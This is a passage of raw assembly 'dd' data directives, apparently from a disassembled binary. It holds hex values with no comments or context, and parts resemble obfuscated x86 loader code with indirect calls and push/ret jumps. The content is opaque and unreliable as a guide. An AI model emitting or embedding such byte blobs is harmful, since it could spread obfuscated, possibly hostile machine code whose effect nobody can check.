685A63Ah, 40E5FE33h, 9B22BB9Dh, 6636B3DAh dd 48E7C64Ah, 0AC4F4EFDh, 0F0759005h, 70F60F2Dh, 0FD44A0B6h dd 0CD123305h, 5403C4A6h, 1AA1BA72h, 9B8795Bh, 891Bh, 86B3E900h dd 30B6CFEDh, 8AA0BE6Dh, 3F4923C6h, 0A8412368h, 0EBC80605h dd 8A6C31B6h, 710B4CC9h, 0D008264Dh, 32ABAh, 38E72C33h dd 5C05A8C3h, 0DFC1E47Ah, 0A4A195ACh, 6809AC5Eh, 8C55D8F3h dd 57D9F2AAh, 45EC8F8Eh, 51109796h, 0D45016Fh, 5325EDF7h dd 0B64C69D0h, 4168290Bh, 17C90F92h, 1E58CD94h, 0DBBD6005h dd 0B5E19D1Ah, 439E9DA1h, 7B129594h, 2B0D34FDh, 0DA3h dd 4AF20B00h, 5444FCABh, 49F8B93Bh, 0EE737E56h, 35B85133h dd 4DF18A6Ch, 952DC6A8h, 0C86D06E8h, 5AA4325h, 46E57E60h dd 8024BD9Fh, 0C666FFE1h, 68003D1Fh, 56EDh, 89241C89h dd 4C381E3h, 83000000h, 1C8704EBh, 5E685C24h, 89000072h dd 77682434h, 8900000Dh, 0B951240Ch, 18D92506h, 5688E181h dd 0E1810C22h, 1D175C28h, 4801E181h, 81414D52h, 0D34DBC9h dd 0BCC18177h, 5187171Ch, 32240481h, 5E559930h, 3032EE81h dd 81595599h, 4ECh, 24248900h, 4240483h, 4EC8359h, 89241489h dd 85189F2h, 2434FF5Ah, 4C48159h, 0FF000000h, 835E2434h dd 28E904C4h, 34FFFA29h, 0F98AF41Ah, 0B8DD3D7Ch, 62455EBh dd 0E0FFC503h, 12B7DB21h, 1E63FB07h, 2590658Bh, 5A49CE34h dd 1796C693h, 7881C5D7h, 3FC1346Ah, 79ABC1F6h, 5CC9267Dh dd 2D3228B8h, 791DFF9Eh, 4CB02E7Dh, 7FA40D0h, 4666A009h dd 0E68D165h, 1B73F0B8h, 577E5736h, 7E325E45h, 1491AA42h dd 4741239Ch, 0DB27DF0h, 606040Dh, 189DB7F7h, 13159628h dd 133C08EBh, 462Dh, 94E90000h, 6800000Bh, 62458C9h, 0FAED77E9h dd 59C468FFh, 6DE90624h, 68FFFAEDh, 6245B8Eh, 0FAED63E9h dd 5CCB68FFh, 59E90624h, 68FFFAEDh, 6245E68h, 0FAED4FE9h dd 5FE368FFh, 45E90624h, 68FFFAEDh, 624611Ah, 0FAED3BE9h dd 21EE7EFFh, 23D880D1h, 23D482D3h, 20D782D3h, 21D67FD0h dd 59920AD1h, 5AABFBFCh, 55A6F611h, 54A5F502h, 87A9F916h dd 0ACE6590Ah, 562E1AA9h, 62AFBBE9h, 86F9AA49h, 0CE1C8DFBh dd 6297BF10h, 56144931h, 0A15769B9h, 4FAD5E77h, 0D1A93E6h dd 67DEED4Fh, 6D1A93E5h, 0FCF57268h, 57E7E33Ah, 0DD9407B8h dd 1EDC1A93h, 5EE5EDh, 0FA980000h, 35A8590Eh, 291C8DFBh dd 8DFB0578h, 0CA8F4D1Ch, 5A4E54E5h, 9CF442CBh, 267A2B44h dd 2E1A9394h, 75AF2349h, 0D0212A54h, 0B4166E89h, 930F3EA5h dd 9364F21Ah, 0A16EFC31h, 59414A3Fh, 0F259849h, 0AF6D1A93h dd 0A8AD4857h, 0E86E29AAh, 0A5AEDFC0h, 8B2F28BDh, 21E7E2h dd 0D4000001h, 62AFBBh, 0D22D2C03h, 6C8BCAA1h, 21360D0Ah dd 0FBF96415h, 7B391C8Dh, 7285D223h, 0CCA3D410h, 8BFE4A9Eh dd 0F37F83C2h, 0E8409865h, 0F0195186h, 0D341D2D7h, 0B394CA47h dd 8E93AC82h, 360ED252h, 0A34D0A89h, 2035BB3Ah, 0FBAC5D8Eh dd 2B1C8DD1h, 3182D23Fh, 786ED039h, 0BB26D780h, 0FB1C8DC8h dd 92EA1544h, 0D182213Ah, 1C8DC86Eh, 18B7E8A6h, 93C41967h dd 0B8A0571Ah, 0C46ED182h, 0E8A61A93h, 9AF22E90h, 23ADAA81h dd 6A4F044Dh, 99FB53F6h, 0AF4C0C5Dh, 0AE0114Dh, 0FF1800F8h dd 0B3CCED4Eh, 162FED1Ch, 0C8E1163Fh, 0BC057829h, 8F4D10B2h dd 1E37885Eh, 0A2251ED9h, 0C86F53h, 925B2h, 8D7AF200h dd 8F6CEC3Dh, 8F68EE3Fh, 946BEE3Fh, 9562F344h, 0CD067E45h dd 0CE1F6F88h, 0D122729Dh, 0D0217186h, 0FB1D6D9Ah, 0A352CD7Eh dd 0CAA21AA9h, 391CF35Dh, 9FB68DBEh, 0B3B70858h, 0F39D0656h dd 0FB38A354h, 0BA781C8Dh, 1107F189h, 0D0F547F8h, 3DFB1A93h dd 0C11E1F24h, 61067100h, 5F9BFD0Ah, 0DFEED607h, 1A937A78h dd 8334D36Eh, 1A937A18h, 60699A58h, 0D3F4ED7Ah, 0D3E6E7E2h dd 99000000h, 0F069AFBBh, 56A1B607h, 470EE5FEh, 62977FB0h dd 93A204F3h, 1C8DFFE2h, 5FAF5812h, 8BF6A746h, 0CB1C8DFEh dd 6505DC0Dh dd 0A4544AACh, 6CD3404Dh, 0F99110EBh, 556EC603h, 0F69A05B6h dd 0F5DA1C8Dh, 7B50618Eh, 0BBEC4489h, 0B0A67D1Ch, 78A9E547h dd 9363B9C7h, 0A9F9B71Ah, 9EB76197h, 0B3F35FEDh, 70E69D1Ch dd 91E92587h, 43B4A178h, 44B3A2F3h, 53A4C489h, 35834B6Fh dd 82Ah, 489875F7h, 4C9C61F7h, 4E9E5BFBh, 53A35CFDh, 54A45302h dd 79DC158Dh, 8EDD2E7Eh, 77E03181h, 87E33484h, 9B183A8Ah dd 0A9A277EAh, 7AE7BF1Ah, 0D5D9ABBh, 4861AEBCh, 0FAE5B043h dd 9FD0DEF7h, 3A11B0C9h, 32ADD81Fh, 821C8D41h, 9FB645C4h dd 311D36F8h, 0AFBB1100h, 0DA444962h, 9E04860Dh, 0A5DAC2F3h dd 0E3FC4CC5h, 93289344h, 0B1681C8Dh, 0C8F951A6h, 3750F830h dd 0EEB8AA32h, 7BFAF3CDh, 2164BFBAh, 0C261926Ch, 93F7BF11h dd 0C0AA811Ah, 0DCB1647h, 1BF476ABh, 17F07ACBh, 0EA1EA6B5h dd 0F7969DD5h, 0AE34A758h, 0BE7C91E9h, 869E848Dh, 64B4081h dd 91DA60E4h, 16ED1E76h, 1A6BBB54h, 0DA45F650h, 0C691E997h dd 0E997AA15h, 672CEA91h, 0E0EF51A9h, 91E99778h, 44847E01h dd 9265F026h, 4C9CF430h, 89A26FFBh, 0B299EE84h, 0F122D255h dd 0BA7EFA09h, 818A6E16h, 0B9B28999h, 7FB0EC4Eh, 0F545C2A8h dd 0A85105DCh, 2D90A46h, 473D9F68h, 9D4E67D1h, 97F742DBh dd 526BBB79h, 0ED1EDB7Bh, 0EF7CA355h, 2B3CC24h, 89111AB6h dd 2ED4835Ah, 1A7CD42Bh, 0A462ADDEh, 16CD3342h, 0BCC1852Dh dd 6C4841C6h, 63A5460h, 0ED000004h, 174EEEF3h, 567BA52h dd 47F39FD4h, 0A152E870h, 1C8D9A3Eh, 0FE60B876h, 0FF991C2h dd 0A94F0019h, 0E71A93BAh, 11C87729h, 149B9DA8h, 441B34E4h dd 8E7BEF13h, 6798F02Ch, 9A3117C8h, 0A15F9DBEh, 69DF493Fh dd 9D00B150h, 0D591C67Eh, 9647E617h, 97E706FEh, 18E5734Ah dd 0C5DE9CE7h, 43937CEEh, 0FA17532Ah, 542B5C98h, 14873816h dd 5C8FE105h, 0CC8B469Eh, 47F68158h, 660317Fh, 3F2D0000h dd 273182D2h, 253182D2h, 263384D4h, 1D3889D9h, 4BC38ADAh dd 64B44312h, 6BBB5813h, 6ABA3D1Ah, 68B85119h, 0A518C946h dd 0ED1AA9A0h, 0EFAA815h, 5FC13621h, 7384D223h, 8C63021Bh dd 520334DFh, 1A93ECFEh, 3A3F5816h, 0BFD7E981h, 0EFD708B6h dd 0BD3A1BF2h, 17EE1F5Bh, 5354B653h, 8177706Ah, 43CD7E97h dd 911C8D6Eh, 224F91DAh, 8FCB64EFh, 0E673C41Ch, 237BB719h dd 6A1BBAD3h, 10B16AF7h, 965BB8B3h, 27E487D8h, 0BE4B1FF6h dd 0C643275Ch, 7B94D6ADh, 0C4ACDD19h, 1E3BC98Fh, 0F22789E1h dd 0F12D8F78h, 0DF41B6A0h, 0AAF9E1EAh, 77B7AB2Eh, 5EFD16F3h dd 0B16A32ADh, 93C48210h, 89CDA4BDh, 2A233F70h, 1CE1C4C4h dd 2B9h, 7D54F3CFh, 80BC1EDBh, 8DFBEA55h, 43CC9E1Ch, 22E0A5E1h dd 79AF59F1h, 0ADA6AF60h, 0DC9A1AA9h, 966CECC3h, 81E33BD4h dd 7B2C45h, 501AA9ACh, 0EBC26192h, 0EC3D8D6Ah, 1D2C8E69h dd 0E5565359h, 0E85304A3h, 281AA9ACh, 862396Ah, 0C4C3393Eh dd 32610595h, 0A9D09407h, 0A6DB221Ah, 8D9C38DDh, 0F7B20AC8h dd 6938D56Ah, 23B705CDh, 0F0000005h, 0EE3F8F7Ch, 2 dup(0EC3D8D6Ah) dd 0F142926Dh, 7C439364h, 6D8ACB04h, 749FCC1Dh, 7784D324h dd 7B94D627h, 0DB8C092Bh, 1AA9A760h, 0F36BD8B0h, 54039AEEh dd 0A376F502h, 0CB63941Bh, 21D2EB5Dh, 1AA94354h, 9824B3B8h dd 92E70E66h, 900F6C20h, 0BAEB03C0h, 0DC3FF06Fh, 141AA87Eh dd 679CFE56h, 65B60603h, 75AA0C05h, 2C031CF5h, 7891D92Dh dd 0A707EF20h, 55A2B78Eh, 0E7271B24h, 0A0368683h, 0E7DBCFA7h dd 1C099h, 0AFBB4C00h, 9FCB0062h, 9BA5972h, 1C8DFB96h dd 19EF20DEh, 0E271107h, 71F9D06Fh, 0FBF26D98h, 8B421C8Dh dd 0A7D830CDh, 93E6F6F6h, 0B263021Ah, 1A93E64Fh, 4D98C987h dd 0A71E2D8Fh, 6B1A93E6h, 0AEAB0DEAh, 93E682FDh, 0C314D21Ah dd 11066895h, 0C4D31208h, 554EDBBFh, 47E7E33Ch, 3Eh, 590EFAFAh dd 8DFB35A8h, 0A6BF7D1Ch, 8DFB8AF5h, 0B40CCA1Ch, 0D056EA9Bh dd 0E09E1A93h, 0D0086F7Eh, 0F9FE1A93h, 2A8B8401h, 0FE6E7E3h dd 114DAF5Ch, 0D1D8E0h, 4DB0000h, 0C48AA55h, 0AFBBECDBh dd 0E7724962h, 4172AE10h, 0E6BD5C59h, 0EA26886Fh, 8DFB5CBFh dd 2C8F401Ch, 641C8DFBh, 0F223E1A6h, 5BBD3A1Bh, 69CB4426h dd 8BE03634h, 91E21E80h, 92CE30D9h, 96BFEA3Ah, 3E1C8DFFh dd 2BCAE32Ch, 8DFE077Ah, 40914F1Ch, 0D9AFE02Bh, 7E05BBC0h dd 0B31F0A57h, 0A3EEA82h, 407E40F1h, 0B4721AADh, 6691C49Bh dd 6790C516h, 3516BFACh, 3C8A5269h, 386h, 0ACFC1953h, 0B000FD5Bh dd 0B202F75Fh, 0AFFFF861h, 0B000F75Eh, 1D3871E9h, 32398ADAh dd 233485D5h, 333788D8h, 0E76486D6h, 0A9A5CB36h, 0C6330B1Ah dd 38A354F3h, 781C8DFBh, 0A3B289BAh, 0F1643B54h, 57A0B506h dd 6BFF5026h, 0FBB12CDDh, 43011C8Dh, 0BB329BEBh, 0CB0062AFh dd 922729Fh, 60112532h, 1C8DFBFDh, 0BD1F7735h, 40B85081h dd 6A0EBFD8h, 0EA1A93FCh, 0F347BA6Bh, 0D88F1A93h, 7207893h dd 93F3EB56h, 156D2B1Ah, 7ADFB6B3h, 6D1E1B7Dh, 1A93F3F2h dd 0FB2C8442h, 93F3D14Ah, 0F3E76A1Ah, 11A0EFAh, 8DF41450h dd 1E6E2C1Ch, 0A354F3B5h, 1C8DFB38h, 0B289BA78h, 0B8ED4FB8h dd 584F2EB2h, 7E163151h, 54C4D626h, 0DA1ACBE4h, 7A1A93FDh dd 0E6693C3h, 0C3269DACh, 272C1A93h, 20BDB633h, 25AFE7E3h dd 62000000h, 11A0EFAh, 93D0CC50h, 7ED9B01Ah, 3FFD4879h dd 0D057CEDDh, 585D1A93h, 29ECE562h, 0B7DEE7E3h, 91000000h dd 62AFBBh, 0FBAC8ACBh, 1C8DFB80h, 91C08F16h, 0D99E9B91h dd 6461C31Bh, 0C834C65Fh, 86B7C5CCh, 0EC4EBBAFh, 656B3B7h dd 8D3CAADBh, 0F7105A1Ch, 0FB1456A7h, 0C375A399h, 3E9BF9AAh dd 0FBB91A93h, 0C06F99ABh, 0EC055DAAh, 0B382653Bh, 9CB5731Ch dd 346592C5h, 6097BE95h, 14E77047h, 6F4576B2h, 5C0371Eh dd 6F53DC70h, 0B99E7AFh, 0D8000002h, 0D6277794h, 2 dup(0D4257582h) dd 0D92A7A85h, 642B7B7Ch, 55A2B3ECh, 5CB7B405h, 5F9CBB0Ch dd 63ACBE0Fh, 0C374F113h, 1AA9A458h, 0BB53C098h, 6D445D9Ah dd 75B113ECh, 188968F6h, 1B4CF273h, 9976F445h, 0EFAE049h dd 0FB35A859h, 0BF7D1C8Dh, 0B113FC6Eh, 2D041D75h, 316DCF28h dd 0BDC26100h, 0A33F2501h, 568D0C89h, 0DB4C28F7h, 0B954677h dd 491A937Eh, 0A31A298Bh, 671A9322h, 74A90BF0h, 0BBB81AE5h dd 9322970Ah, 421DF1Ah, 0D1E0271Bh, 7BE69736h, 0BB1A9322h dd 0DFC3CCFDh, 0E27C514Ah, 0C943E7h, 0BBF60000h, 0AA4962AFh dd 8DFB86F9h, 0DF10CE1Ch, 3D93C2F7h, 2B2A8DA2h, 0AF2E6ACCh dd 0A6FE54B5h, 0A3003544h, 0B6B41C8Dh, 0B2B80959h, 83373C55h dd 3074D514h, 9368F041h, 0DCC4F531h, 0ED0632E6h, 93CCDC3Ch dd 0EE3EFC1Ah, 0E3FC2CDCh, 0B3158932h, 0F20BC91Ch, 5BBD3A1Bh dd 6DC53226h, 8FC69D3Ch, 0C112E76Fh, 0C6026495h, 5B6556Eh dd 10B30B9Ah, 15EB1CDAh, 0BE3F91C4h, 5A83E06Fh, 2547BA6Bh dd 0D18F10B3h, 19662179h, 346F5339h, 0D41E6Ch, 0CBA10000h dd 0BB9DEE3Eh, 0B99DEE3Eh, 0BA9FF040h, 0B99CED3Dh, 0AF27EE3Eh dd 0C818DF76h, 0C717F477h, 0C616E176h, 0CC1CF575h, 17C2DAAh dd 511AA99Ah, 9ABB0C79h, 0AEBC0D5Dh, 0BBA81161h, 0AA4962AFh dd 8DFB86F9h, 56C97A1Ch, 9E1C8DFBh, 0C5D1BE0h, 9B83B45Fh dd 0F20B0466h, 5BBD3A1Bh, 618EE1Fh dd 5C0D2612h, 1AA9AD0Fh, 0CA3820F7h, 0B0126A8Dh, 13F84374h dd 760C9002h, 372071B1h, 0CE2662C4h, 0D633376Ch, 0B5353586h dd 0ED0E1A40h, 2082DA52h, 0A0D66A11h, 6159625Ah, 82A14129h dd 0DFE684A2h, 167893D8h, 0DA2A82DAh, 0C628E189h, 5408C891h dd 189F08D6h, 0CDCE3088h, 1BE0774Eh, 434C7DB9h, 0AE5B0F5Fh dd 0BB5D0D5Eh, 0C50163B0h, 3BD0B6Dh, 70000000h, 0B1BB804Fh dd 9DCD0264h, 7ADD1274h, 85E61B7Dh, 62F3288Ah, 57FE3395h dd 50093EA0h, 461045A7h, 3E1A4FB1h, 68C257B9h, 5E51h, 68240489h dd 808h, 56240C89h, 0C681E689h, 4, 8704EE83h, 895C2434h dd 3D68241Ch, 8B062457h, 0C481240Ch, 4, 47B668h, 24248900h dd 4240483h, 8B8505Bh, 1000000h, 0CE8956D8h, 585E3089h dd 56241C8Bh, 0C681E689h, 4, 8704C683h, 0FF5C2434h, 81592434h dd 4C4h, 0E1F6E900h, 7F84FFFAh, 0E39B6D7h, 0B8CFE7B4h dd 6246213h, 0E0FFC503h, 4300261Ch, 0A537578h, 3EE12D8Ch dd 333D7528h, 4F66AE1Fh, 8BCF8CEh, 32372BC8h, 5F5D0E9Fh dd 696B49FFh, 6F437FA9h, 3DB60C98h, 2ACD5F5Eh, 412EB526h dd 31A5D13Ah, 45BBC562h, 398D617Eh, 3AD547B4h, 658BC217h dd 4EF9415Fh, 2AC9699Fh, 7A0C7ACCh, 4605D5C8h, 7C14CC5Dh dd 7F3D8EBEh, 1B4047F4h, 3A805BCEh, 0FE8h, 6E99A00h, 81BBC537h dd 8A5E14EDh, 72FB698Bh, 8B5AF18Bh, 0EAC281F1h, 6600006Ah dd 8697C881h, 8B66C92Bh, 1134FFC1h, 8B665FF8h, 0EAC781DEh dd 0E97B8B31h, 8, 4A8AC75Dh, 69164998h, 0C97EF781h, 8CB73505h dd 7F8CEF81h, 81661A15h, 57E3F6D8h, 0FDB86653h, 48F589Ch dd 89D0810Ah, 0F1D02CFh, 0E983F0BFh, 0ABE08103h, 493B1BBAh dd 0B2834EBEh, 98F9815Eh, 0FFFFF95h, 0FFFFA485h, 7AD381FFh dd 0E81C9329h, 5, 92B06C45h, 5A21B53Ah, 0FE9h, 1BE46700h dd 8A922084h, 8ECECD57h, 0C0AD5DF1h, 71D3C281h, 0BF0F0000h dd 66F633CFh, 0FFC101BFh, 0E0811634h, 4C8EAE35h, 88EB815Bh dd 0F546DB5Fh, 9140C381h, 0BF0F2921h, 22EB81C2h, 0B939BCDBh dd 7D05E55h, 14E853h, 9F1F0000h, 0AEC2218Ch, 2AD2FB09h dd 0ABFEE5CCh, 3F3AD4Eh, 0E860566Ch, 7, 3087F21Ah, 589690F5h dd 10E9h, 0E09C5200h, 18BC9634h, 0EB9D67C9h, 0D7F44D8Ch dd 8F5861D5h, 840F3204h, 0Fh, 0AE9h, 0CDF2D800h, 1C30983Bh dd 0F36DC2Fh, 0EE81CABFh, 69D26071h, 3860Fh, 8B660000h dd 6DC681FEh, 0B169D260h, 0F8FE81AEh, 0FFFFF8Eh, 0FFFF5E85h dd 0E8F98BFFh, 0Bh, 6A61BD46h, 4515AD50h, 526D446Fh, 14E9h dd 4F849800h, 35453BF8h, 2F20D759h, 2C458090h, 0FC016A48h dd 8B5F58D4h, 0EFC781D8h, 8A00006Fh, 1BDDBEFDh, 0EA8A0000h dd 0BF0F37FFh, 0A9B55ACFh, 99BEEA81h, 0CEB8521Bh, 8104077Bh dd 78883BC2h, 0D3EA8150h, 0F530C0D9h, 0EF811789h, 9DD9E34h dd 0C781CB8Bh, 9DD9E30h, 28F0Fh, 58570000h, 0F01EE83h dd 0FFFFBF85h, 0E4E081FFh, 8D1A999Ah, 2465528Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 89C5D38Ah, 1E23758Dh, 599D8B06h, 89061E17h, 1E02AD9Dh dd 4D85C706h, 28061E32h, 8B00005Ch, 1E0281B5h, 6985C706h dd 61E31h, 31000000h, 1E21E99Dh, 11B5FF06h, 8B061E2Dh dd 1E2E7195h, 0B995FF06h, 52061E16h, 6A5FC18Bh, 0C195FF00h dd 8B061E26h, 0C14CEBC0h, 17856AA4h, 0BDC4C506h, 3BF4F167h dd 12236D81h, 6DF7B80Ch, 33BF1149h, 87B0A7EEh, 0C3A61B5Eh dd 8EA6DC7Fh, 0AA57A119h, 4B50F8EEh, 2D6C7037h, 6CBDAC7h dd 92383331h, 933F8FF2h, 0DBCC130h, 0B3C3BA8Bh, 0C94AE5E0h dd 8D1C27A1h, 2466618Dh, 64BA6606h, 758D8964h, 6A061E23h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0F071C357h, 1C9B6688h, 1C3B41A8h, 0BB57BA66h dd 28C0Fh, 0DE8A0000h, 324D85C7h, 5B50061Eh, 8A0F0000h dd 0 dd 316985C7h, 61Eh, 8B600000h, 1E0DF19Dh, 61CBB206h, 0C890Fh dd 8D0F0000h, 6, 9A58509h, 0B5FF061Eh, 61E1475h, 6880Fh dd 8D890000h, 61E1581h, 16B995FFh, 6A061Eh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 7A4C9BC3h dd 98FF4887h, 0B866EAE4h, 6A22AFh, 26C195FFh, 0C08B061Eh dd 9345DEBh, 7BB38C31h, 236C5E9Eh, 5A4ADC03h, 0B5A67541h dd 51FFD74Eh, 635000BEh, 0A767039Ch, 0B4EBE563h, 97597542h dd 0C2F04BBBh, 32F22727h, 0E5FC0D9h, 0DB1A25C2h, 2246C578h dd 0D344956Bh, 0A9BA09DFh, 0E294AF4Dh, 0F62DF557h, 0E061939Eh dd 940FF883h, 6DAFFC82h, 569CA831h, 0E85DA64Dh, 0Ah, 59DC088Fh dd 40CD0988h, 0BD8B7FF1h, 61E0091h, 0B58D8B58h, 81061E2Bh dd 6939C0h, 66C18000h, 0DFF68BBBh, 95F3817Eh, 8B7EDFECh dd 40F28110h, 2960873Eh, 1E2A7D8Dh, 3BEA8106h, 296EC4C2h dd 1E0255BDh, 4DF28106h, 607DE747h, 4119D8Bh, 858B061Eh dd 61E02D9h, 0BF665261h, 8FF8D8h, 81FBB70Fh, 4705BEE8h dd 0AE933h, 2AC90000h, 6BC9C491h, 840491EAh, 5BAC081h dd 0B5333347h, 61E2D41h, 0F01EB83h, 2685h, 14E900h, 0A2130000h dd 21451F85h, 6ABDD9F9h, 447DAA24h, 0FFDFD97Bh, 1AE9B1E9h dd 9E000000h, 1BF1A4C6h, 0E98144D3h, 0FFFFFF73h, 0D648B57h dd 588DA0A3h, 4BA450ABh, 5E80Bh, 0F0070000h, 8950E44Eh dd 1E1FC19Dh, 8EB85A06h, 813E7AF7h, 65F6C2h, 0C1BF6600h dd 0FFD1BEC9h, 0F6817A07h, 7A07E689h, 551BD8Bh, 1A8B061Eh dd 1B25BD89h, 0EB81061Eh, 14E1F04Dh, 9494F381h, 852B5325h dd 61E0075h, 0BDC8C381h, 0DE81945h, 0FF000000h, 31684D58h dd 0BF74BEDDh, 153A0B7Ch, 0DE8h, 30031700h, 0CD4951h, 0BBE30789h dd 81664977h, 5F2564E1h, 8B1A8959h, 1E13518Dh, 4EA8306h dd 260535BFh, 850F4E2Eh, 0FFFFFF9Eh, 6810Fh, 0F7810000h dd 2359A240h, 69348D8Dh, 6A0624h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0AEF161C3h, 8AC03EFEh dd 9D89B6FDh, 61E07B9h, 23758D89h, 6A061Eh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 1312A8C3h dd 0E5B71FA7h, 0F294377h, 68Ah, 0CD9D8B00h, 0C7061E32h dd 1E324D85h, 641806h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0C7CC2C89h, 899BF943h dd 0BE660C18h, 85C7BC89h, 61E3169h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 6BC35343h dd 0E887DA5Bh, 0FFD68BF9h, 1E1EB5B5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 8CA2180Fh, 0FFD1C77Ah, 1E16B995h, 65952906h, 81061E08h dd 6076D6E3h, 0FF006A48h, 1E26C195h, 0EBC08B06h, 0B5339C3Dh dd 0A4B4529h, 6FB5A1C7h, 0C8C389F4h, 0BD14FAFAh, 1B5F73B7h dd 0A7FA7FB1h, 0A0FCEDCh, 2914F6F3h, 0BAC7CDC6h, 8D62A347h dd 4420C612h, 43B89FCh, 0A3A83E16h, 8F22C2CDh, 8D8D5FEFh dd 6246A5Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 4CC35040h, 23011E92h, 1E0E35BDh, 758D8906h, 6A061E23h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0F12EC352h, 4890Fh, 60570000h, 7E95B61h dd 46000000h, 483FFE11h, 85C73807h, 61E324Dh, 5E04h, 5E8h dd 0EAD2BB00h, 0F5E37F2h, 68Dh, 850F00h, 0C7000000h, 1E316985h dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 4F4BC8BAh, 15BD8959h, 0FF061E16h dd 1E2931B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0B995FFD9h, 6A061E16h, 0C195FF00h dd 8B061E26h, 970EEBC0h, 1D071372h, 0AB70E7Ah, 0A7B5E98Bh dd 604EB01h, 0E97108FBh, 54Ch, 46BB66FBh, 6FE48D2Bh, 9C11D054h dd 0C63BFA81h, 0F2670AABh, 33B4BFB1h, 44DEF96Eh, 65092499h dd 8D304BC0h, 0D36F6FE4h, 493D27BDh, 0A27A2F3Fh, 4F31F073h dd 62A90097h, 0B2B22EF1h, 0BE630403h, 0EA8B2E49h, 0B4375008h dd 9B4A0BEDh, 7658199Ch, 78965FDDh, 49C4DF5Fh, 7BC70903h dd 0C86F6E95h, 0D7864729h, 42D971F5h, 0D927A75Fh, 0D55807B5h dd 8D27BE8Fh, 0B1A8CD02h, 4F5EF05h, 1C613925h, 0A44746F5h dd 0B74E88FDh, 0EC21DD69h, 62A0AA5Ch, 0A5B63BE8h, 2ED0CF7Eh dd 0D4546D8Bh, 0BB6A2B0Dh, 0E68B2B46h, 0D4D76B04h, 999F5773h dd 0EF01740h, 68397FA0h, 5504AD4Fh, 0EF0DD056h, 0E08F56D6h dd 4AD506Bh, 0CB558C22h, 82833925h, 0DBCFCD3Ch, 798881C4h dd 0D2000000h, 4F31F073h, 24D329B9h, 6AB0B139h, 0C5D4FDFBh dd 91A94081h, 78DAB98Ah, 6306A7A6h, 6911C081h, 1, 2CF573B3h dd 0AF76F50Eh, 0E7851E00h, 0FA89203Eh, 36385088h, 0F45D3A60h dd 0C449E477h, 57567D24h, 6A2B0DD4h, 0B940D9BBh, 3AC1DAF8h dd 66EACC7Bh, 0CB712369h, 0C5C71D33h, 7E043925h, 0E30A4FC3h dd 11D0536Eh, 8DCB629Ch, 0B67BFB43h, 0B59613D4h, 0D48C3B38h dd 0CB57F273h, 91C9E70Eh, 24D2697Bh, 8AA8ED39h, 24D27074h dd 0F2A1E639h, 30F17710h, 702DB54Eh, 0B273F58Eh, 90722FB3h dd 0ECC60C0Fh, 0ABC0205h, 6AA2C065h, 24D29054h, 0D281C639h dd 0F6BF425Dh, 38F97B14h, 556EA656h, 6A2B0DD0h, 83F238BBh dd 81C5D295h, 744Eh, 949B3200h, 4730CECBh, 73FFB766h, 0B44D2FF2h dd 0F68F7130h, 12CAAC71h, 24D2E8FCh, 2A296E39h, 7DFEE085h dd 705A347Ah, 0C55C2D73h, 0C4D13681h, 0CAC97892h, 0F00B8025h dd 2FC8AA4Fh, 0C96C1188h, 0CB6B84A2h, 0E5957726h, 0A5930248h dd 5E81C588h, 38h, 2FF273A8h, 9732B44Dh, 0A96A4C15h, 6605A082h dd 2DC96E20h, 24D2CD17h, 45448939h, 64D900BDh, 2CF57390h dd 0D32DB44Ah, 0AAAB3924h, 0D4F7F564h, 1B081C5h, 0FA000000h dd 1230F173h, 0CEB075F9h, 0E37C5E0Dh, 51BFA140h, 0B438EA30h dd 9C9D78EDh, 6881B9D7h, 804123C6h, 0DB08D5D1h, 0FB403F42h dd 13296119h, 3306CAD1h, 92914085h, 97D146EFh, 0CA9B495Fh dd 76BB3306h, 7C25C8C7h, 0CADE049Ah, 48E73306h, 4AD5002h dd 0DAF1748Fh, 0F87461F4h, 65476E72h, 0A68829CCh, 0BDC2225h dd 0FBAA4BF2h, 9AB879FCh, 593BFA81h, 3A74E998h, 65039A21h dd 0F219DABCh, 0E4A04F10h, 87E4A2E6h, 9DBF129h, 4D3305F9h dd 0BF660908h, 11E6810h, 54B20000h, 0EBA4A73Bh, 0AF7257BCh dd 5918C7EEh, 5F7593E0h, 3F432C6Ah, 0D78F71B6h, 0E83BA040h dd 9C4BEFA5h, 3D5B1A9Dh, 30DF8224h, 541DA0BBh, 8F56D972h dd 0E3292CADh, 72E78E31h, 0E3569C9Ah, 4D5587h, 549F0000h dd 0D2DE061Ch, 33783924h, 378C584h, 0D365CFE5h, 4C913924h dd 0D310D46Ah, 0F1F23924h, 780439ABh, 1D19D85Fh, 3924D2C7h dd 28CD728Fh, 0A6BCDA01h, 3924D38Eh, 27DFCD68h, 5D3E23AFh dd 95B7C136h, 1F000000h, 0DABC6106h, 54B26A19h, 0AA33BCBDh dd 0EE138683h, 6475F219h, 5AC50FDh, 8C3B6223h, 0E9076CCDh dd 435922D3h, 2F11563Fh, 0DD521396h, 94763FC2h, 72BE1FEh dd 0F93FDE33h, 0DFFDA447h, 0B22FD648h, 6312458Ch, 4D2613EEh dd 278A982Fh, 36C3A0FEh, 0FC536987h, 30392BA1h, 0A7CE9313h dd 0E8892CC5h, 24C96D06h, 8419A942h, 34163DE4h, 0B18BD1D2h dd 476BCDDh, 0E58FE635h, 0EDE273CFh, 6E2BB9CFh, 0E62B2CE2h dd 0E788A1BFh, 5F759342h, 3306D7F0h, 0AE82F73Ch, 0DDF686B3h dd 0F7B89A5Bh, 24D2E9FBh, 37ADC339h, 1F3924D3h, 0FA2166DAh dd 3D89C6DCh, 67A33F49h, 689351h, 577EC333h, 9859DC75h dd 1652E923h, 9D475D42h, 0B933008Dh, 9A88F774h, 3A1ADAC2h dd 3960B92Ah, 49E88B8Ah, 7C5CF32Bh, 0D221EC79h, 2619CBC7h dd 0F83D3300h, 26D16749h, 